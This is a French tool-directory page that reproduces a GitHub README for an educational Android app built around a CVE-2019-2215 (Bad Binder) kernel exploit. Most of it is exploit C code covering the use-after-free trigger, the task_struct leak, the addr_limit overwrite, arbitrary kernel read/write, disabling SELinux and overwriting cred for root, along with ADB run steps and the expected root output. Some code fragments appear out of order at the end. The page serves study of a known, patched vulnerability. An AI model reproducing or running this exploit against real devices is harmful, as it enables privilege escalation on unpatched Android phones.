Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
android-badbinder-demo — démonstration CVE-2019-2215 (Bad Binder) pour Android Q | Kitploit
Outils/GitHubGitHub/i-redbyte/android-badbinder-demo
Sécurité AndroidEscalade de PrivilègesExploitationApprentissage et ÉducationExploitation de Binaires
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

démonstration CVE-2019-2215 (Bad Binder) pour Android Q

Voir le dépôt
514il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-2215 (Bad Binder) — Analyse de l'exploit

Ce dépôt est un petit projet de test pour étudier la vulnérabilité
CVE-2019-2215 (Bad Binder) et écrire un prototype fonctionnel d'exploit pour Android avec une interface graphique simple en Kotlin/Jetpack Compose.

Dans ce README, je :

  1. Décris la préparation de l'environnement et l'exécution du prototype d'exploit.
  2. Analyse les étapes principales de l'exploitation de CVE-2019-2215 et les associe aux fonctions spécifiques dans le code C.
  3. Énumère séparément les difficultés rencontrées en cours de route et comment je les ai résolues.

APK prêt à l'emploi (GitHub Actions)

Le dépôt contient un workflow GitHub Actions qui, à chaque push/PR, compile le projet avec la commande ./gradlew assembleDebug et publie le fichier badbinder-debug.apk comme artefact.

Vous pouvez le télécharger ainsi :

  1. Ouvrez l'onglet Actions du dépôt.
  2. Sélectionnez l'exécution du workflow souhaitée.
  3. En bas de la page, trouvez la section Artifacts et récupérez l'archive badbinder-debug-apk contenant l'APK compilé.

Cela a été fait pour plus de commodité, si vous souhaitez simplement tester l'application sans configurer un environnement local.


Bref aperçu de la vulnérabilité

CVE-2019-2215 est une Use-After-Free (UAF) dans le sous-système IPC Binder du noyau Android.

En simplifiant :

  • dans le noyau, il existe une structure struct binder_thread qui décrit un thread effectuant des appels Binder ;
  • cette structure peut être libérée (free), mais avec une séquence d'appels particulière, elle reste encore dans les listes d'attente (waitqueue) ;
  • plus tard, le noyau tente de travailler avec la mémoire déjà libérée dans remove_wait_queue, ce qui ouvre un scénario UAF classique ;
  • en ajustant soigneusement l'environnement et les allocations suivantes, on peut forcer le noyau à lire/écrire à des adresses arbitraires, puis obtenir les privilèges noyau, et ensuite le root dans l'espace utilisateur.

Une analyse théorique plus détaillée a été réalisée à partir des ressources suivantes :

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. Préparation de l'environnement et exécution du prototype d'exploit

1.1. Choix et préparation du périphérique virtuel

Selon les instructions, il est recommandé d'utiliser un AVD avec l'image Android 10.0 (Q) x86_64.
J'ai fait ce qui suit :

  1. Dans Android Studio, j'ai créé un AVD (périphérique Pixel, Android 10 (Q), x86_64).
  2. Je me suis assuré que l'image inclut Binder et qu'il y a le périphérique /dev/binder.
  3. J'ai activé le débogage USB/ADB et vérifié l'accès au périphérique :
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

À cette étape, j'ai rencontré un fait désagréable :
actuellement, les images AVD à jour sont déjà livrées avec un noyau patché, dans lequel CVE-2019-2215 est corrigée. Autrement dit, il ne sera pas possible d'obtenir réellement un root sur un émulateur officiel moderne — l'exploit échoue à des stades ultérieurs ou ne permet tout simplement pas l'élévation de privilèges.

En fin de compte, j'utilise l'AVD comme simulateur pour reproduire la logique de l'exploit :

  • j'obtiens les mêmes séquences d'appels système,
  • j'observe les tentatives d'UAF, la fuite d'adresses et la tentative de réécriture de addr_limit,
  • mais l'obtention finale du « root » sur un noyau à jour et patché ne fonctionne évidemment pas (ce qui est attendu).

C'est une nuance importante : tout le code et le rapport ci-dessous sont éducatifs, pas « opérationnels ».


1.2. Compilation de l'application Android avec l'exploit natif

J'ai créé une petite application Android :

  • UI en Kotlin + Jetpack Compose,
  • Partie native en C via JNI — le code de l'exploit lui-même,
  • la communication entre les deux se fait via un callback JNI, afin que les chaînes du code C arrivent directement dans l'UI.

Les principales étapes :

  1. Création d'un projet standard dans Android Studio (Kotlin, prise en charge minimale d'Android 10).

  2. Connexion du NDK et de CMake.

  3. Ajout d'un fichier natif contenant l'exploit (le fameux cve-2019-2215.c avec les fonctions leak_task_struct, overwrite_addr_limit, etc.).

  4. Dans CMakeLists.txt, ajout de la compilation de libcve-2019-2215.so.

  5. Dans MainActivity :

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. Côté Kotlin, création d'un ExploitViewModel qui implémente l'interface NativeLogger et stocke tous les messages dans un StateFlow<List<String>>. L'UI est abonnée à ce flux et affiche le journal dans un « terminal ».

Au lancement de l'activité, j'appelle setNativeLogger(viewModel) pour que le code natif reçoive un objet auquel envoyer des chaînes.


1.3. Lancement et scénario d'utilisation

  1. Compilation et installation de l'application :

    root@kitploit:~
    ./gradlew installDebug
    
  2. Lancement de l'AVD et de l'application elle-même.

  3. À l'écran, je vois un « terminal » et un bouton RUN EXPLOIT.

  4. Appui sur le bouton :

    • Kotlin appelle runNativeExploit() dans un thread d'arrière-plan.
    • Le code C commence à exécuter toutes les étapes de l'exploit et journalise les actions.
    • Via le callback JNI, le journal parvient au ViewModel et s'affiche dans l'UI Compose.

Sur un noyau vulnérable réel, je m'attendrais à voir à la fin quelque chose comme :

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

Sur l'émulateur Android 10 actuel, cela ne se produit évidemment pas, mais tout le reste — fuite de task_struct, tentative de réécriture de addr_limit, calcul de cred et de kernel_base — s'exécute comme un « scénario », ce qui était requis pour l'exercice.


2. Analyse des principales étapes de l'exploit et correspondance avec le code

Ci-dessous, le schéma logique de l'exploit avec les fonctions C correspondantes.

2.1. Scénario général de l'exploit

Le plan de haut niveau est le suivant :

  1. Créer une UAF sur l'objet struct binder_thread et l'utiliser pour faire fuir l'adresse de task_struct de son propre processus (leak_task_struct).
  2. Avec un deuxième cycle UAF et des structures soigneusement conçues, réécrire le champ addr_limit dans task_struct (overwrite_addr_limit) — cela supprime la restriction entre les adresses espace utilisateur et espace noyau pour les opérations ultérieures copy_to_user / copy_from_user.
  3. En utilisant des pipes, implémenter une lecture/écriture arbitraire de toute mémoire noyau (arb_read / arb_write).
  4. Grâce à cela, trouver cred du processus courant et la base du noyau (verifying), puis :

En parallèle, j'ai intégré un journaliseur JNI pour que toutes ces étapes soient visibles directement dans l'UI.


2.2. Étape 1 — Fuite de l'adresse de task_struct (leak_task_struct)

Fonction clé :

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

Ce que fait la fonction :

  1. Fixe le thread sur le CPU 0 (sched_setaffinity) pour que le comportement de l'allocateur noyau soit plus prévisible. Cela améliore la stabilité de l'exploitation UAF.

  2. Ouvre /dev/binder, crée un descripteur epoll :

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    Le descripteur Binder est enregistré dans epoll :

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. Prépare un tableau struct iovec iov_buffers[IOVEC_N] et alloue de la mémoire :

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    Il est important ici que les 32 bits de poids faible de l'adresse soient nuls :

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    Cela correspond à la technique décrite dans les articles d'exploitation : ensuite, le noyau interprète une partie de nos données comme des structures contenant des pointeurs, et une telle adresse « bien alignée » facilite l'abus.

    Ensuite, les champs iov_buffers[0xa] et sont remplis de manière à ce que au moment de l'UAF, le noyau copie dans le pipe un morceau de mémoire contenant le pointeur vers .

Résultat : j'ai l'adresse de task_struct dans le noyau, ce qui est crucial pour les étapes suivantes.


2.3. Étape 2 — Réécriture de addr_limit (overwrite_addr_limit)

addr_limit dans task_struct détermine quelles adresses un processus peut transmettre dans les appels système comme pointeurs espace utilisateur. Si on le réécrit avec une valeur presque maximale, le noyau ne distingue plus les adresses espace utilisateur des adresses dans son propre espace d'adressage — et de nombreuses opérations apparemment sûres copy_(to|from)_user deviennent des lectures/écritures arbitraires du noyau.

Fonction :

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

suit un schéma très similaire :

  1. Nouveau réglage de l'affinité CPU, ouverture de /dev/binder, création d'epoll.

  2. Préparation de iov_buffers, mais cette fois avec une disposition différente :

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. Au lieu d'un pipe, on utilise socketpair(AF_UNIX, SOCK_STREAM, ...) :

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. Préparation d'une structure msghdr pour recvmsg :

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. Dans le processus fils (après fork()), la course UAF est à nouveau déclenchée :


2.4. Étape 3 — Lecture/écriture arbitraire et vérification (arb_read, arb_write, verifying)

Après avoir réécrit addr_limit, j'utilise des pipes pour transformer les opérations de lecture/écriture normales en possibilité de lire et écrire à des adresses noyau.

Primitives arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

De même, arb_write inverse le sens de la copie.

Vérification et recherche des structures clés

Fonction verifying() :

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

Ici, je :

  • lis depuis le noyau le contenu de task_struct ;
  • vérifie via PID_OFFSET qu'il s'agit bien de ma structure ;
  • extrais le pointeur vers cred et une fuite d'adresse du noyau (kernel_leak) ;
  • calcule kernel_base avec un ajustement basé sur un décalage fixe.

2.5. Étape 4 — SELinux et escalade vers root

Partie finale dans runNativeExploit :

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • je calcule l'adresse de la variable globale selinux_enforcing et la mets à zéro/état « permissif ».

Ensuite, réécriture de cred :

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

Je remplis littéralement les champs de capacité et certains autres champs de cred avec les valeurs maximales, pour donner à mon processus l'ensemble complet des droits.

Dernière vérification :

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

Sur un noyau vulnérable réel, je m'attendrais ici à uid=0, sur une image patchée — logiquement, l'escalade est désactivée.


2.6. JNI et journalisation dans l'UI

Pour voir tout en temps réel, j'ai ajouté une couche intermédiaire :

  • JNI_OnLoad sauvegarde JavaVM* et le PID du processus principal ;
  • setNativeLogger reçoit un objet Kotlin implémentant la méthode onLog(String), et le sauvegarde en tant que GlobalRef ;
  • android_log/android_log_hex écrivent dans logcat et appellent send_to_ui, qui achemine la chaîne vers Kotlin, où elle est récupérée par ExploitViewModel et affichée dans le « terminal » Compose.

Il est important que send_to_ui filtre les processus fils par PID — appeler JNI depuis un processus après fork() sans exec() n'est pas sûr.


3. Difficultés et leurs solutions

3.1. Images AVD patchées

J'ai rencontré le fait qu'actuellement, il n'existe pas d'images AVD officielles d'Android 10 avec un noyau non patché dans lequel CVE-2019-2215 soit toujours présente.

Au lieu d'obtenir un root « opérationnel », je me suis concentré sur :

  • la reproduction de la logique d'exploitation,
  • l'analyse de la séquence UAF,
  • la visualisation de toutes les étapes dans une application Android.

Si on le souhaite, ce code peut être porté sur un vrai appareil avec un vieux noyau non patché, mais cela dépasse le cadre de l'exercice.


3.2. Décalages fixes et dépendance à la version du noyau

J'ai dû définir explicitement :

  • ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET ;
  • les décalages pour kernel_leak et selinux_enforcing ;
  • la constante pour le calcul de kernel_base.

J'ai délibérément choisi de ne pas automatiser la recherche de ces valeurs, afin de ne pas gonfler la taille du projet. Dans ce rapport, je considère qu'il s'agit d'un exemple éducatif pour une version spécifique du noyau, et non d'un exploit universel.


3.3. Courses et stabilité

L'utilisation de fork(), epoll_ctl, BINDER_THREAD_EXIT et divers temporisations est un terrain miné. J'ai constaté que sans :

  • sched_setaffinity,
  • de petits sleep,
  • et des assert agressifs en cours de route,

l'exploit devient extrêmement instable.
J'ai progressivement mis au point la séquence pour qu'elle soit prévisible sur une configuration vulnérable, et qu'elle « échoue » proprement aux dernières étapes sur une configuration patchée.


3.4. JNI et fork()

J'ai également rencontré le problème que les tentatives de journalisation depuis le processus fils directement dans la JVM entraînent un comportement étrange.
J'ai dû me rappeler les règles JNI et ajouter une vérification du PID pour ne communiquer avec la JVM que depuis le processus principal.

Compromis : une partie des messages n'est visible que dans logcat, et l'UI n'affiche que ce qui provient du parent. Cela m'a convenu car, dans le cadre de l'exercice, ce sont principalement les points de contrôle importants qui comptent, et non chaque print de débogage.


3.5. UI

En bonus, pour une réalisation plus créative de l'exercice, j'ai décidé de créer une interface pratique pour l'analyse :

  • j'ai implémenté un écran avec une « console » dans le style d'un terminal sombre avec texte vert ;
  • le journal est affiché ligne par ligne, avec un défilement automatique vers la dernière entrée ;
  • les différents types de messages ([+], [*], [!], [C]) sont mis en évidence par des couleurs différentes pour faciliter la lecture ;
  • le résultat de l'exécution (Success / Failed) est affiché dans un bloc séparé.

Cela simplifie grandement la compréhension du code natif : au lieu d'un logcat brut, je vois tout au même endroit, directement dans l'application.


Résumé

À l'issue de ce travail sur cet exercice, j'ai :

  1. Préparé un environnement AVD et une application Android avec une partie native implémentant l'exploit CVE-2019-2215.
  2. Analyse pas à pas l'exploitation :
    • UAF dans Binder et fuite de task_struct,
    • réécriture de addr_limit,
    • construction de primitives de lecture/écriture arbitraire,
    • recherche de cred, désactivation de SELinux et tentative d'escalade de privilèges.
  3. Rencontré plusieurs problèmes d'ingénierie réels (correctifs dans le noyau, dépendance à la version, courses, particularités JNI) et les ai résolus ou contournés de manière systématique.

Le projet s'est avéré compact, mais reflète essentiellement tout le cycle de vie d'une vulnérabilité réelle du noyau : de la description théorique et la lecture d'articles à l'implémentation pratique et à l'intégration dans une application Android fonctionnelle.

P.S.

Méthode alternative d'exécution de l'exploit

Le répertoire cve-2019-2215 contient un Makefile qui permet de compiler le binaire natif (x86_64) et de l'exécuter directement dans l'AVD via ADB. Si une version aarch64 est nécessaire, elle peut être compilée séparément.

  1. Compiler le binaire natif :
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. Copier le binaire dans l'AVD, par exemple dans /sdcard/cve-2019-2215
  3. Lancer un shell ADB et exécuter le binaire :
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. Après une exécution réussie de l'exploit, vérifier l'obtention du root :
    root@kitploit:~
    id
    
    sortie attendue :
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
Télécharger l’outil
  • désactiver SELinux (selinux_enforcing = 0),
  • réécrire les champs de cred pour devenir root et obtenir l'ensemble complet des capacités (runNativeExploit).
iov_buffers[0xb]
task_struct
  • Crée un pipe et définit la taille de son tampon à 0x1000 :

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • Ensuite — la course UAF classique. Je lance un processus fils :

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • Le parent continue à exécuter le code suivant.
    • Dans le processus fils, epoll_ctl(..., EPOLL_CTL_DEL, ...) entraîne la libération du binder_thread associé dans le noyau, mais il apparaît toujours dans la structure de comptabilité des attentes — c'est le point UAF.
  • Dans le processus parent, j'appelle :

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // libération de binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    À ce stade, grâce à l'UAF, writev utilise la mémoire déjà libérée comme des structures iovec et, en substance, réinterprète la même zone mémoire où se trouvait auparavant binder_thread, mais maintenant comme un ensemble de pointeurs/longueurs. Par effet secondaire, cela entraîne la copie d'un fragment de la mémoire noyau dans notre pipe.

  • Enfin, je lis depuis le pipe :

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    Le décalage 0xe8 est choisi pour la version spécifique du noyau — c'est l'endroit où se trouve le pointeur vers task_struct de mon processus dans le bloc de mémoire fui.

  • root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    
  • Le parent, comme avant, libère binder_thread et appelle recvmsg :

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    À cause de l'UAF et de la substitution astucieuse des structures, le noyau finit par percevoir task_struct + ADDR_LIMIT_OFFSET comme l'adresse d'un tampon utilisateur et copie à cet endroit le contenu de la structure envoyée (notre valeur 0xfffffffffffffffe), réécrivant ainsi addr_limit dans task_struct.

  • Dans le journal, j'écris :

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");